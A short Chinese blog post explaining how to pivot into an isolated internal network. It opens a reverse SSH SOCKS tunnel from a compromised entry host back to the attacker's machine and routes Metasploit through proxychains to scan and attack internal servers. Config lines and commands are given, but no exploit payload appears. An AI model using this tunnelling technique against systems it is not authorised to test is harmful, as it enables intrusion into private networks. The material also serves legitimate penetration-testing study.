proxychains

亦凉 2022-03-17 12:12 153阅读 0赞

分享一下我老师大神的人工智能教程。零基础！通俗易懂！风趣幽默！还带黄段子！希望你也加入到我们人工智能的队伍中来！[https://blog.csdn.net/jiangjunshow][https_blog.csdn.net_jiangjunshow]

上一篇是要借助外部的工具来实现内网代理，并且有很大的局限性，如果远程主机没开ssh或者做了防火墙规则给过滤掉一般的IP，就不能再用了  
这里我们讲一下通过反向代理和本地proxychains来实现内网代理功能，对目标内网进行入侵渗透。不说废话，看图文……  
蛋疼了，不发图了，直接写文字，  
大的环境作一下介绍，目标主机是内网不可上网的NN台[服务器][Link 1]，各种环境，各种操作系统都有，入口鸡是可以上网的服务器，但是不能终端，不能反弹马出来，于是考虑用反向SSH结合本地proxychains来作soks代理，对内网机器进行渗透  
  
本地操作系统为\*nix,有外网IP或者映射，开放SSH  
  
于是我们之需要在本地修改一个地方：  
  
编辑 /etc/proxychains.conf  
  
nano /etc/proxychains.conf  
要选 dynamic\_chain而不是random\_chain和strict\_chain，即注释掉strict\_chain和random\_chain那两行。  
然后在最后的\[ProxyList\]下面添加：  
socks5 127.0.0.1 7070这样我们在本地的代理端口就是7070，  
在远程入口机器上我们执行  
ssh -fND 7070 [root@youip][root_youip]  
然后我们可以在本地使用我们的proxychain启动某些程序对内网的机器进行蛋疼的一些动作了，比如扫描什么的  
  
[root@metasploit:/home/exploit][root_metasploit_home_exploit]\# proxychains /pentest/exploits/framework3/msfconsole  
ProxyChains-3.1 ([http://proxychains.sf.net][http_proxychains.sf.net])  
剩下的事情你懂得，我就不多说了，抛了个转头，高手一笑而过就可以了，别吐口水，有玉的就砸过来吧，现金先用卡也可以，可兑换支票和债券也可以的……

[http://pauldotcom.com/2010/03/nessus-scanning-through-a-meta.html][http_pauldotcom.com_2010_03_nessus-scanning-through-a-meta.html]

[http://www.digininja.org/blog/nessus\_over\_sock4a\_over\_msf.php][http_www.digininja.org_blog_nessus_over_sock4a_over_msf.php]

[https_blog.csdn.net_jiangjunshow]: https://blog.csdn.net/jiangjunshow/article/details/77338485
[Link 1]: https://www.baidu.com/s?wd=%E6%9C%8D%E5%8A%A1%E5%99%A8&tn=24004469_oem_dg&rsv_dl=gh_pl_sl_csd
[root_youip]: mailto:root@youip
[root_metasploit_home_exploit]: mailto:root@metasploit:/home/exploit
[http_proxychains.sf.net]: http://proxychains.sf.net
[http_pauldotcom.com_2010_03_nessus-scanning-through-a-meta.html]: http://pauldotcom.com/2010/03/nessus-scanning-through-a-meta.html
[http_www.digininja.org_blog_nessus_over_sock4a_over_msf.php]: http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php